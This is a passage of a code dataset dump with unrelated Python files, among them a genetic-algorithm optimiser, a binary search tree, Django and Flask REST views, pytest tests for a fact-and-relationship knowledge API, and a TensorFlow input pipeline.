'.format(i+1,bestsol[i],avg_list[i]))\n \n \n return bestsol,avg_list,best_value\n \ndef apply_bounds(x,varmin,varmax):\n x.value[0]=np.maximum(x.value[0],varmin[0])\n x.value[1]=np.maximum(x.value[1],varmin[1])\n x.value[0]=np.minimum(x.value[0],varmax[0])\n x.value[1]=np.minimum(x.value[1],varmax[1])\n \n \n \n \n \n \n\n\n \n\n \n \n \n","sub_path":"function optimization using Genetic algorithm/ga_third.py","file_name":"ga_third.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"352243954","text":"from collections import Counter\nfrom copy import deepcopy\n\n\nclass Solution:\n def permuteUnique(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n result = []\n hmap = Counter(nums)\n\n def recurse(nums, idx):\n if idx == len(nums):\n result.append(deepcopy(nums))\n\n for key in hmap.keys():\n if hmap[key] == 0:\n continue\n hmap[key] -= 1\n nums[idx], key = key, nums[idx]\n recurse(nums, idx + 1)\n\n nums[idx], key = key, nums[idx]\n hmap[key] += 1\n\n recurse(nums, 0)\n\n return result\n\n","sub_path":"LeetCode/Recursion/47_Permutations II.py","file_name":"47_Permutations II.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"544141502","text":"from openerp.osv import fields\nfrom openerp.osv.orm import Model\n\n\nclass ConnectorCheckpoint(Model):\n _inherit = 'connector.checkpoint'\n\n def _get_company_id(self, cr, uid, ids, field_name, arg, context=None):\n result = {}\n for checkpoint in self.browse(cr, uid, ids, context=context):\n if checkpoint.backend_id:\n backend = checkpoint.backend_id\n if backend.company_id:\n result[checkpoint.id] = backend.company_id.id\n continue\n if checkpoint.record:\n record = checkpoint.record\n if record.company_id:\n result[checkpoint.id] = record.company_id.id\n return result \n\n _columns = {\n 'company_id': fields.function(\n _get_company_id, type='many2one', obj='res.company', store=True,\n string=\"Company\"\n ),\n }\n","sub_path":"logistiflex_customs/models/connector.py","file_name":"connector.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"289310309","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n\n def PrintTree(self):\n if self.left:\n self.left.PrintTree()\n print(self.data)\n if self.right:\n self.right.PrintTree()\n\n def insert(self, value):\n if self.data is None:\n self.data = value\n return\n\n if value <= self.data:\n if self.left is None:\n self.left = Node(value)\n else:\n self.left.insert(value)\n \n else:\n if self.right is None:\n self.right = Node(value)\n else:\n self.right.insert(value)\n\n def find(self, value):\n if self.data == value:\n return str(value) + \" is found\"\n elif value < self.data:\n if self.left is None:\n return str(value) + \" not found\"\n else:\n return self.left.find(value)\n elif value > self.data:\n if self.right is None:\n return str(value) + \" not found\"\n else:\n return self.right.find(value)\n\n\n\n\n# Use the insert method to add nodes\nroot = Node(12)\nroot.insert(6)\nroot.insert(14)\nroot.insert(3)\n\nroot.PrintTree()\n\nprint(root.find(7))\nprint(root.find(14))","sub_path":"binarySearchTree.py","file_name":"binarySearchTree.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"39435333","text":"# this file is used to process the train file and test file\n# after processing, the label are 1 for A and -1 for B C D\ntrainFile = open(\"train.txt\")\ntestFile = open(\"test.txt\")\ntrainPosOut = open(\"trainposout.txt\",\"w\")\ntrainNegOut = open(\"trainnegout.txt\",\"w\")\ntrainOut = open(\"trainout.txt\",\"w\")\ntestOut = open(\"testout.txt\",\"w\")\ntrainCon = trainFile.readlines()\ntestCon = testFile.readlines()\nfor line in trainCon:\n splitline = line.strip(\"\\n\").split()\n if(splitline[0][0]=='A'):\n splitline[0] = '1'\n for item in splitline:\n trainPosOut.write(item)\n trainPosOut.write(\" \")\n trainPosOut.write(\"\\n\")\n else:\n splitline[0] = '-1'\n for item in splitline:\n trainNegOut.write(item)\n trainNegOut.write(\" \")\n trainNegOut.write(\"\\n\")\n for item in splitline:\n trainOut.write(item)\n trainOut.write(\" \")\n trainOut.write(\"\\n\")\n\nfor line in testCon:\n splitline = line.strip(\"\\n\").split()\n if(splitline[0][0]=='A'):\n splitline[0] = '1'\n else:\n splitline[0] = '-1'\n for item in splitline:\n testOut.write(item)\n testOut.write(\" \")\n testOut.write(\"\\n\")\ntrainPosOut.close()\ntrainNegOut.close()\ntestOut.close()\ntrainFile.close()\ntestFile.close()\ntrainOut.close()\n\n","sub_path":"fileprocess.py","file_name":"fileprocess.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"414301587","text":"import cv2 as cv\nimport numpy as np\n\nimg = cv.imread('./data/digits.png')\ngray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n# Now we split the image to 5000 cells, each 20x20 size\ncells = [np.hsplit(row, 100) for row in np.vsplit(gray, 50)]\n# Make it into a Numpy array. It size will be (50,100,20,20)\nx = np.array(cells)\nprint(len(x))\nprint(x.shape)\n# Now we prepare train_data and test_data.\ntrain = x[:, :50].reshape(-1, 400).astype(np.float32) # Size = (2500,400)\nprint(train.shape)\ntest = x[:, 50:100].reshape(-1, 400).astype(np.float32) # Size = (2500,400)\n# Create labels for train and test data\nk = np.arange(10)\ntrain_labels = np.repeat(k, 250)[:, np.newaxis]\ntest_labels = train_labels.copy()\n# Initiate kNN, train the data, then test it with test data for k=1\nknn = cv.ml.KNearest_create()\nknn.train(train, cv.ml.ROW_SAMPLE, train_labels)\nret, result, neighbours, dist = knn.findNearest(test, k=5)\nprint(len(result))\nprint('result:{}'.format(result))\n# Now we check the accuracy of classification\n# For that, compare the result with test_labels and check which are wrong\nmatches = result == test_labels\ncorrect = np.count_nonzero(matches)\naccuracy = correct * 100.0 / result.size\nprint(accuracy)\n\n# np.savez('knn_data.npz', train=train, train_labels=train_labels)\n","sub_path":"handwriting_digits_rec/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"42213642","text":"from rest_framework.parsers import JSONParser\nfrom rest_framework.views import APIView\nfrom rest_framework import status\nfrom django.http import JsonResponse\nfrom .models import Location, Country, City, ZipCode\nfrom .serializers import LocationSerializer, CountrySerializer, CitySerializer, ZipCodeSerializer\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\n\nfrom django.db.models import Q\n\n\n# Location Creation (POST)\n# /location/create/\n\nclass LocationCreate(APIView):\n\n authentication_classes = (JSONWebTokenAuthentication,)\n permission_classes = (IsAuthenticated,)\n\n def post(self, request):\n data = JSONParser().parse(request)\n serializer = LocationSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=status.HTTP_201_CREATED)\n return JsonResponse(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n# Location Details (GET, PATCH)\n# /location/{location_id}/\n\nclass LocationDetail(APIView):\n\n authentication_classes = (JSONWebTokenAuthentication,)\n permission_classes = (IsAuthenticated,)\n\n def get(self, request, location_id):\n try:\n location = Location.objects.get(id=location_id)\n except Location.DoesNotExist:\n return JsonResponse({'error': 'Location with location_id {' + str(location_id) + '} does not exist'},\n status=status.HTTP_404_NOT_FOUND)\n serializer = LocationSerializer(location)\n return JsonResponse(serializer.data, status=status.HTTP_200_OK)\n\n def patch(self, request, location_id):\n try:\n location = Location.objects.get(id=location_id)\n except Location.DoesNotExist:\n return JsonResponse({'error': 'Location with location_id {' + str(location_id) + '} does not exist'},\n status=status.HTTP_404_NOT_FOUND)\n serializer = LocationSerializer(location, data=request.data, partial=True)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=status.HTTP_200_OK)\n return JsonResponse(serializer.errors, status=status.HTTP_404_NOT_FOUND)\n\n\n# Country List (GET)\n# /location/country/list/?name=\n\nclass CountryList(APIView):\n\n def get(self, request):\n name = request.GET.get('name', None)\n\n countries = Country.objects.all()\n\n if name is not None:\n countries = countries.filter(Q(name__icontains=name))\n\n serializer = CountrySerializer(countries, many=True)\n countries_map = {'countries': serializer.data}\n return JsonResponse(countries_map, status=status.HTTP_200_OK)\n\n\n# City List (GET)\n# /location/country/{country_id}/city/list/?name=\n\nclass CityList(APIView):\n\n def get(self, request, country_id):\n name = request.GET.get('name', None)\n\n cities = City.objects.filter(country=country_id)\n\n if name is not None:\n cities = cities.filter(Q(name__icontains=name))\n\n serializer = CitySerializer(cities, many=True)\n cities_map = {'cities': serializer.data}\n return JsonResponse(cities_map, status=status.HTTP_200_OK)\n\n\n# ZipCode City List (GET)\n# /location/city/{city_id}/zip_code/list/\n\nclass ZipCodeCityList(APIView):\n\n def get(self, request, city_id):\n\n zip_codes = ZipCode.objects.filter(city=city_id)\n\n serializer = ZipCodeSerializer(zip_codes, many=True)\n zip_codes_map = {'zip_codes': serializer.data}\n return JsonResponse(zip_codes_map, status=status.HTTP_200_OK)\n\n\n# ZipCode Country List (GET)\n# /location/country/{country_id}/zip_code/list/?city=\n\nclass ZipCodeCountryList(APIView):\n\n def get(self, request, country_id):\n city_name = request.GET.get('city', None)\n\n zip_codes = ZipCode.objects.filter(country=country_id)\n\n if city_name is not None:\n zip_codes = zip_codes.filter(Q(city__name__icontains=city_name))\n\n serializer = ZipCodeSerializer(zip_codes, many=True)\n zip_codes_map = {'zip_codes': serializer.data}\n return JsonResponse(zip_codes_map, status=status.HTTP_200_OK)\n","sub_path":"location/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"185187422","text":"import pytest\nfrom aiohttp import web\n\nfrom app.service.app_svc import AppService\nfrom app.service.auth_svc import AuthService, CONFIG_API_KEY_RED\nfrom app.service.file_svc import FileSvc\nfrom app.service.data_svc import DataService\nfrom app.service.event_svc import EventService\nfrom app.service.contact_svc import ContactService\nfrom app.utility.base_service import BaseService\nfrom app.utility.base_world import BaseWorld\nfrom app.api.v2.handlers.fact_api import FactApi\nfrom app.api.v2.responses import json_request_validation_middleware\nfrom app.api.v2.security import authentication_required_middleware_factory\nfrom app.objects.secondclass.c_fact import WILDCARD_STRING\nfrom app.service.knowledge_svc import KnowledgeService\n\ncakr = 'abc123'\nheaders = {'key': cakr, 'Content-Type': 'application/json'}\n\n\n@pytest.fixture\ndef base_world():\n\n BaseWorld.apply_config(\n name='main',\n config={\n CONFIG_API_KEY_RED: cakr,\n\n 'users': {\n 'red': {'reduser': 'redpass'},\n 'blue': {'blueuser': 'bluepass'}\n },\n\n 'crypt_salt': 'thisisdefinitelynotkosher', # Salt for file service instantiation\n 'encryption_key': 'andneitheristhis', # fake encryption key for file service instantiation\n }\n )\n\n yield BaseWorld\n BaseWorld.clear_config()\n\n\n@pytest.fixture\nasync def knowledge_webapp(event_loop, base_world, data_svc):\n app_svc = AppService(web.Application())\n app_svc.add_service('auth_svc', AuthService())\n app_svc.add_service('knowledge_svc', KnowledgeService())\n app_svc.add_service('data_svc', DataService())\n app_svc.add_service('event_svc', EventService())\n app_svc.add_service('contact_svc', ContactService())\n app_svc.add_service('file_svc', FileSvc()) # This needs to be done this way, or it we won't have a valid BaseWorld\n services = app_svc.get_services()\n app = web.Application(\n middlewares=[\n authentication_required_middleware_factory(services['auth_svc']),\n json_request_validation_middleware\n ]\n )\n FactApi(services).add_routes(app)\n await app_svc.register_contacts()\n return app\n\n\nasync def test_display_facts(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n fact_data = {\n 'trait': 'demo',\n 'value': 'test'\n }\n await client.post('/facts', json=fact_data, headers=headers)\n resp = await client.get('/facts', json=fact_data, headers=headers)\n data = await resp.json()\n response = data['found']\n\n assert len(response) == 1\n assert response[0]['trait'] == 'demo'\n assert response[0]['value'] == 'test'\n assert response[0]['source'] == WILDCARD_STRING\n\n\nasync def test_display_operation_facts(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n op_id_test = 'this_is_a_valid_operation_id'\n\n fact_data = {\n 'trait': 'demo',\n 'value': 'test',\n 'source': op_id_test\n }\n await client.post('/facts', json=fact_data, headers=headers)\n resp = await client.get(f'/facts/{op_id_test}', headers=headers)\n data = await resp.json()\n response = data['found']\n\n assert len(response) == 1\n assert response[0]['trait'] == 'demo'\n assert response[0]['value'] == 'test'\n assert response[0]['source'] == op_id_test\n\n\nasync def test_display_relationships(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n op_id_test = 'this_is_a_valid_operation_id'\n fact_data_a = {\n 'trait': 'a',\n 'value': '1',\n }\n fact_data_b = {\n 'trait': 'b',\n 'value': '2'\n }\n relationship_data = {\n 'source': fact_data_a,\n 'edge': 'gamma',\n 'target': fact_data_b,\n 'origin': op_id_test\n }\n await client.post('/relationships', json=relationship_data, headers=headers)\n resp = await client.get('/relationships', json=relationship_data, headers=headers)\n data = await resp.json()\n response = data['found']\n\n assert len(response) == 1\n assert response[0]['source']['trait'] == 'a'\n assert response[0]['source']['value'] == '1'\n assert response[0]['edge'] == 'gamma'\n assert response[0]['origin'] == 'this_is_a_valid_operation_id'\n assert response[0]['source']['source'] == 'this_is_a_valid_operation_id'\n\n\nasync def test_display_operation_relationships(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n op_id_test = 'this_is_a_valid_operation_id'\n fact_data_a = {\n 'trait': 'a',\n 'value': '1',\n 'source': op_id_test\n }\n fact_data_b = {\n 'trait': 'b',\n 'value': '2',\n 'source': op_id_test\n }\n relationship_data = {\n 'source': fact_data_a,\n 'edge': 'gamma',\n 'target': fact_data_b,\n 'origin': op_id_test\n }\n await client.post('/relationships', json=relationship_data, headers=headers)\n resp = await client.get(f'/relationships/{op_id_test}', headers=headers)\n data = await resp.json()\n response = data['found']\n\n assert len(response) == 1\n assert response[0]['source']['trait'] == fact_data_a['trait']\n assert response[0]['source']['value'] == fact_data_a['value']\n assert response[0]['target']['trait'] == fact_data_b['trait']\n assert response[0]['target']['value'] == fact_data_b['value']\n assert response[0]['edge'] == relationship_data['edge']\n assert response[0]['origin'] == op_id_test\n assert response[0]['source']['source'] == op_id_test\n assert response[0]['target']['source'] == op_id_test\n\n\nasync def test_remove_fact(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n fact_data = {\n 'trait': 'demo',\n 'value': 'test'\n }\n init = await client.post('/facts', json=fact_data, headers=headers)\n pre = await init.json()\n subs = await client.delete('/facts', json=fact_data, headers=headers)\n post = await subs.json()\n tmp = await client.get('/facts', json=fact_data, headers=headers)\n cur = await tmp.json()\n current = cur['found']\n start = pre['added']\n end = post['removed']\n assert len(start) == 1\n assert len(end) == 1\n assert len(current) == 0\n assert start == end\n\n\nasync def test_remove_relationship(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n op_id_test = 'this_is_a_valid_operation_id'\n fact_data_a = {\n 'trait': 'a',\n 'value': '1',\n }\n fact_data_b = {\n 'trait': 'b',\n 'value': '2'\n }\n relationship_data = {\n 'source': fact_data_a,\n 'edge': 'alpha',\n 'target': fact_data_b,\n 'origin': op_id_test\n }\n init = await client.post('/relationships', json=relationship_data, headers=headers)\n pre = await init.json()\n subs = await client.delete('/relationships', json=dict(edge='alpha'), headers=headers)\n post = await subs.json()\n resp = await client.get('/relationships', json=relationship_data, headers=headers)\n cur = await resp.json()\n start = pre['added']\n end = post['removed']\n current = cur['found']\n assert len(start) == 1\n assert len(end) == 1\n assert len(current) == 0\n assert start == end\n\n\nasync def test_add_fact(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n\n fact_data = {\n 'trait': 'demo',\n 'value': 'test'\n }\n resp = await client.post('/facts', json=fact_data, headers=headers)\n data = await resp.json()\n response = data['added']\n assert len(response) == 1\n assert response[0]['trait'] == 'demo'\n assert response[0]['value'] == 'test'\n\n tmp = await client.get('/facts', json=fact_data, headers=headers)\n cur = await tmp.json()\n current = cur['found']\n assert current == response\n\n\nasync def test_add_fact_to_operation(knowledge_webapp, aiohttp_client, test_operation, setup_empty_operation, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n\n fact_data = {\n 'trait': 'demo',\n 'value': 'test',\n 'source': test_operation['id']\n }\n resp = await client.post('/facts', json=fact_data, headers=headers)\n data = await resp.json()\n response = data['added']\n assert len(response) == 1\n assert response[0]['trait'] == 'demo'\n assert response[0]['value'] == 'test'\n assert response[0]['source'] == test_operation['id']\n\n tmp = await client.get('/facts', json=fact_data, headers=headers)\n cur = await tmp.json()\n current = cur['found']\n assert current == response\n data_svc = BaseService.get_service('data_svc')\n file_svc = BaseService.get_service('file_svc')\n matched_operations = await data_svc.locate('operations', {'id': test_operation['id']})\n report = await matched_operations[0].report(file_svc, data_svc)\n assert response[0] in report['facts']\n\n\nasync def test_add_fact_to_finished_operation(knowledge_webapp, aiohttp_client, setup_finished_operation,\n finished_operation_payload, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n op_id = finished_operation_payload['id']\n matched_operations = await BaseService.get_service('data_svc').locate('operations', {'id': op_id})\n assert await matched_operations[0].is_finished()\n\n fact_data = {\n 'trait': 'demo',\n 'value': 'test',\n 'source': op_id\n }\n resp = await client.post('/facts', json=fact_data, headers=headers)\n data = await resp.json()\n assert 'error' in data\n assert 'Cannot add fact to finished operation.' in data['error']\n\n\nasync def test_add_relationship(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n fact_data_a = {\n 'trait': 'a',\n 'value': '1',\n }\n fact_data_b = {\n 'trait': 'b',\n 'value': '2'\n }\n relationship_data = {\n 'source': fact_data_a,\n 'edge': 'tango',\n 'target': fact_data_b\n }\n expected_response = f\"{fact_data_a['trait']}({fact_data_a['value']}) : \" \\\n f\"tango : {fact_data_b['trait']}({fact_data_b['value']})\"\n resp = await client.post('/relationships', json=relationship_data, headers=headers)\n data = await resp.json()\n response = data['added']\n assert len(response) == 1\n assert response[0]['source']['trait'] == fact_data_a['trait']\n assert response[0]['target']['value'] == fact_data_b['value']\n assert response[0]['edge'] == 'tango'\n assert response[0]['source']['relationships'] == response[0]['target']['relationships']\n assert response[0]['source']['relationships'][0] == expected_response\n\n resp = await client.get('/relationships', json=relationship_data, headers=headers)\n cur = await resp.json()\n current = cur['found']\n assert current == response\n\n\nasync def test_patch_fact(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n fact_data = {\n 'trait': 'domain.user.name',\n 'value': 'thomas'\n }\n patch_data = {\n \"criteria\": {\n \"trait\": \"domain.user.name\",\n \"value\": \"thomas\"},\n \"updates\": {\n \"value\": \"jacobson\"\n }\n }\n await client.post('/facts', json=fact_data, headers=headers)\n resp = await client.patch('/facts', json=patch_data, headers=headers)\n message = await resp.json()\n patched = message['updated']\n assert len(patched) == 1\n assert patched[0]['value'] == 'jacobson'\n\n tmp = await client.get('/facts', json=dict(trait='domain.user.name'), headers=headers)\n cur = await tmp.json()\n current = cur['found']\n assert len(current) == 1\n assert patched == current\n\n\nasync def test_patch_relationship(knowledge_webapp, aiohttp_client, fire_event_mock):\n client = await aiohttp_client(knowledge_webapp)\n relationship_data = {\n \"source\": {\n \"trait\": \"domain.user.name\",\n \"value\": \"bobross\"\n },\n \"edge\": \"has_password\",\n \"target\": {\n \"trait\": \"domain.user.password\",\n \"value\": \"12345\"\n }\n }\n patch_data = {\n \"criteria\": {\n \"edge\": \"has_password\",\n \"source\": {\n \"value\": \"bobross\"\n }\n },\n \"updates\": {\n \"target\": {\n \"value\": \"54321\"\n },\n \"edge\": \"has_admin_password\"\n }\n }\n await client.post('/relationships', json=relationship_data, headers=headers)\n resp = await client.patch('/relationships', json=patch_data, headers=headers)\n message = await resp.json()\n patched = message['updated']\n assert len(patched) == 1\n assert patched[0]['target']['value'] == '54321'\n assert patched[0]['source']['value'] == 'bobross'\n assert patched[0]['edge'] == 'has_admin_password'\n\n tmp = await client.get('/relationships', json=dict(edge='has_admin_password'), headers=headers)\n cur = await tmp.json()\n current = cur['found']\n assert len(current) == 1\n assert patched == current\n","sub_path":"tests/api/v2/test_knowledge.py","file_name":"test_knowledge.py","file_ext":"py","file_size_in_byte":13295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"471353713","text":"#!/usr/bin/python3\n\"\"\"\nPlaces Api Module\n\"\"\"\nfrom flask import jsonify, abort, request\nfrom api.v1.views import app_views\nfrom models import storage, Place\n\n\n@app_views.route('/cities//places', methods=['GET'],\n strict_slashes=False)\ndef get_places_CityId(city_id):\n \"\"\"\n Return All Places by City\n \"\"\"\n city = storage.get(\"City\", city_id)\n if city is None:\n abort(404)\n places = [place.to_dict() for place in city.places]\n return jsonify(places)\n\n\n@app_views.route('/places/', methods=['GET'], strict_slashes=False)\ndef get_place_id(place_id):\n \"\"\"\n Return Place by id\n \"\"\"\n place = storage.get(\"Place\", place_id)\n if place is None:\n abort(404)\n return(jsonify(place.to_dict()))\n\n\n@app_views.route('/places/', methods=['DELETE'],\n strict_slashes=False)\ndef delete_place_id(place_id):\n \"\"\"\n Deletes a Place by id\n \"\"\"\n place = storage.get(\"Place\", place_id)\n if not place:\n abort(404)\n else:\n storage.delete(storage.get('Place', place_id))\n storage.save()\n return jsonify({}), 200\n\n\n@app_views.route(\"/cities//places\", methods=[\"POST\"],\n strict_slashes=False)\ndef post_place(city_id):\n \"\"\"\n Create Place In City\n \"\"\"\n if storage.get(\"City\", city_id) is None:\n abort(404)\n if not request.json:\n return jsonify({\"error\": \"Not a JSON\"}), 400\n places_dict = request.get_json()\n if \"user_id\" not in places_dict:\n return jsonify({\"error\": \"Missing user_id\"}), 400\n if storage.get(\"User\", places_dict[\"user_id\"]) is None:\n abort(404)\n if \"name\" not in places_dict:\n return jsonify({\"error\": \"Missing name\"}), 400\n else:\n place_usr_id = places_dict[\"user_id\"]\n place_name = places_dict[\"name\"]\n place = Place(user_id=place_usr_id, name=place_name, city_id=city_id)\n for key, value in places_dict.items():\n setattr(place, key, value)\n place.save()\n return jsonify(place.to_dict()), 201\n\n\n@app_views.route(\"/places/\", methods=[\"PUT\"],\n strict_slashes=False)\ndef put_place(place_id):\n \"\"\"\n Update Place obj by id\n \"\"\"\n place = storage.get(\"Place\", place_id)\n info_fields = [\"id\", \"city_id\", \"user_id\", \"created_at\", \"updated_at\"]\n if not place:\n abort(404)\n if not request.json:\n return jsonify({\"error\": \"Not a JSON\"}), 400\n response = request.get_json()\n for key, value in response.items():\n if key not in info_fields:\n setattr(place, key, value)\n place.save()\n return jsonify(place.to_dict()), 200\n","sub_path":"api/v1/views/places.py","file_name":"places.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"240972364","text":"# -*- coding: utf-8 -*-\n# @__ramraj__\n\nfrom __future__ import division, print_function, absolute_import\nimport tensorflow as tf\nimport os\nimport config\nimport numpy as np\n\n\ndef inputs(record_file, batch_size=32, do_test=False):\n\n feature = {'train/image': tf.FixedLenFeature([], tf.string),\n 'train/label': tf.FixedLenFeature([], tf.string),\n 'train/id': tf.FixedLenFeature([], tf.string)}\n\n # filename_queue = tf.train.string_input_producer(record_file,\n # num_epochs=config.N_EPOCHS\n # if not do_test else 1)\n filename_queue = tf.train.string_input_producer(record_file,\n num_epochs=config.N_EPOCHS)\n\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(filename_queue)\n features = tf.parse_single_example(serialized_example, features=feature)\n\n image = tf.decode_raw(features['train/image'], tf.float32)\n # label = tf.decode_raw(features['train/label'], tf.float32)\n label = tf.decode_raw(features['train/label'], tf.int32)\n ID = features['train/id']\n\n image = tf.reshape(image, [config.ORIG_SIZE, config.ORIG_SIZE])\n label = tf.reshape(label, [config.ORIG_SIZE, config.ORIG_SIZE])\n\n min_fraction_of_examples_in_queue = 0.4\n num_examples_per_epoch = config.NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN if not do_test else config.NUM_EXAMPLES_PER_EPOCH_FOR_TEST\n min_queue_examples = int(num_examples_per_epoch *\n min_fraction_of_examples_in_queue)\n\n num_preprocess_threads = 16\n images, labels, ID_batch = tf.train.shuffle_batch(\n [image, label, ID],\n batch_size=batch_size,\n num_threads=num_preprocess_threads,\n capacity=min_queue_examples + 3 * batch_size,\n min_after_dequeue=min_queue_examples,\n allow_smaller_final_batch=True)\n\n return images, labels, ID_batch\n\n\nif __name__ == '__main__':\n\n TEST_BATCH_SIZE = 10\n images, labels, ids = inputs(['./record/test.tfrecords'],\n TEST_BATCH_SIZE, True)\n\n labels_onehot = tf.one_hot(labels, 2)\n\n with tf.Session() as sess:\n init = tf.group(tf.global_variables_initializer(),\n tf.local_variables_initializer())\n sess.run(init)\n\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n\n img, lbl, id, labels_onehot_val = sess.run([images, labels, ids, labels_onehot])\n\n # import matplotlib.pyplot as plt\n\n # print('Image : ')\n # print(img.shape)\n # plt.imshow(img[1, :, :])\n # plt.show()\n\n print('Label : ')\n print(lbl.shape)\n # plt.imshow(lbl[1, :, :])\n # plt.show()\n\n # # print('++++++++++')\n a = np.asarray(lbl[1, :, :], np.int32)\n print(np.unique(a))\n print(np.max(a))\n print(np.min(a))\n\n # print('ID : ')\n # print(id.shape)\n # print(id[1])\n\n print('One hot encoded labels : ')\n # print(labels_onehot_val)\n print(labels_onehot_val.shape)\n print(np.min(labels_onehot_val))\n print(np.max(labels_onehot_val))\n print(np.unique(labels_onehot_val))\n\n coord.request_stop()\n coord.join(threads)\n sess.close()\n","sub_path":"batch_inputs.py","file_name":"batch_inputs.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"39271041","text":"import numpy as np\nfrom copy import deepcopy\nimport yaml\nimport os\nfrom datetime import datetime, timedelta\nimport netCDF4\n\n# own imports\nfrom wavy.utils import find_included_times, collocate_times\nfrom wavy.wconfig import load_or_default\nfrom wavy.utils import runmean_conv\n\nvariable_info = load_or_default('variable_info.yaml')\n\ndef superobbing(varalias,vardict,superob=None,outlier_detection='gam',\\\nmissing_data='marginalize',date_incr=None,**kwargs):\n \"\"\"\n Applies a smoothing filter to create a super-observed ts\n **kwargs includes method specific input for chosen smoother\n Smoother on wish list are:\n block-average\n running mean using convolution\n GP\n GAM\n Lanczos\n ...\n Caution: for some smoothers much more of time series has\n to be included.\n \"\"\"\n newdict = deepcopy(vardict)\n stdvarname = variable_info[varalias]['standard_name']\n # !if for satellites first a landmask has to be created!\n if outlier_detection is not None:\n ol_dict = detect_outliers(varalias,\n vardict,\n method = outlier_detection,\n **kwargs)\n newdict[stdvarname] = ol_dict['ts_clean']\n else: print('Warning: Performing outlier detection is recommended')\n if superob is not None:\n # check if outlier detection was performed if not warn\n if 'ol_dict' not in locals():\n print('Warning: not outlier detection was performed!')\n ol_dict = None\n # determine the output grid\n if isinstance(date_incr,int):\n # increments are in #hours\n # create output grid --> list of time stamps depending on choice\n sd = vardict['datetime'][0]\n ed = vardict['datetime'][-1]\n steps = int((ed-sd).total_seconds()/(date_incr*60*60))+1\n tmpd = sd\n output_dates = [tmpd + timedelta(hours=i) \\\n for i in range(0,steps,date_incr) \\\n if (tmpd + timedelta(hours=i) <= ed)]\n del tmpd\n elif isinstance(date_incr,list):\n output_dates = date_incr\n else: # original datetimes are used\n output_dates = vardict['datetime']\n print(len(output_dates))\n output_grid = netCDF4.date2num(output_dates,units=vardict['time_unit'])\n # super observations are computed from cleaned time series\n tmp_vardict = deepcopy(newdict)\n #sobs_ts = compute_superobs(varalias,tmp_vardict,output_grid,\\\n sobs_ts = compute_superobs(varalias,newdict,output_grid,\\\n output_dates,method=superob,\\\n date_incr=date_incr,\\\n **kwargs)\n if missing_data == 'marginalize':\n # padding with NaNs retrieved from ol_dict['ts_clean']\n # only possible when same grid or datetimes are used\n if 'output_grid' in locals():\n print('Marginalization is not possible on given output grid')\n raise(RuntimeError)\n else:\n newdict[stdvarname][np.isnan(ol_dict['ts_clean'])] = np.nan\n elif missing_data == 'impute':\n # handle missing data\n newdict[stdvarname] = list(sobs_ts)\n newdict['time'] = list(output_grid)\n newdict['datetime'] = output_dates\n newdict['longitude'] = [vardict['longitude'][0]]*len(output_dates)\n newdict['latitude'] = [vardict['latitude'][0]]*len(output_dates)\n return newdict\n\ndef compute_superobs(varalias,vardict,output_grid,\\\noutput_dates, method='gam', date_incr=None,**kwargs):\n print('Superobserve data with method:',method)\n if 'iter' in kwargs.keys():\n print('Using ',kwargs['iter'], 'iterations')\n stdvarname = variable_info[varalias]['standard_name']\n dt = vardict['datetime']\n x = vardict['time']\n y = vardict[stdvarname]\n X = output_grid\n if method=='gam':\n # NaNs need to be removed before gam\n tmpvar = np.array(y)\n tmptime = np.array(x)\n tmpdtime = np.array(dt)\n tmptime = tmptime[~np.isnan(tmpvar)]\n tmpdtime = tmpdtime[~np.isnan(tmpvar)]\n tmpvar = tmpvar[~np.isnan(tmpvar)]\n y = tmpvar\n x = tmptime\n dt = tmpdtime\n sobs_ts = so_linearGAM(x,y,X,varalias,**kwargs)\n 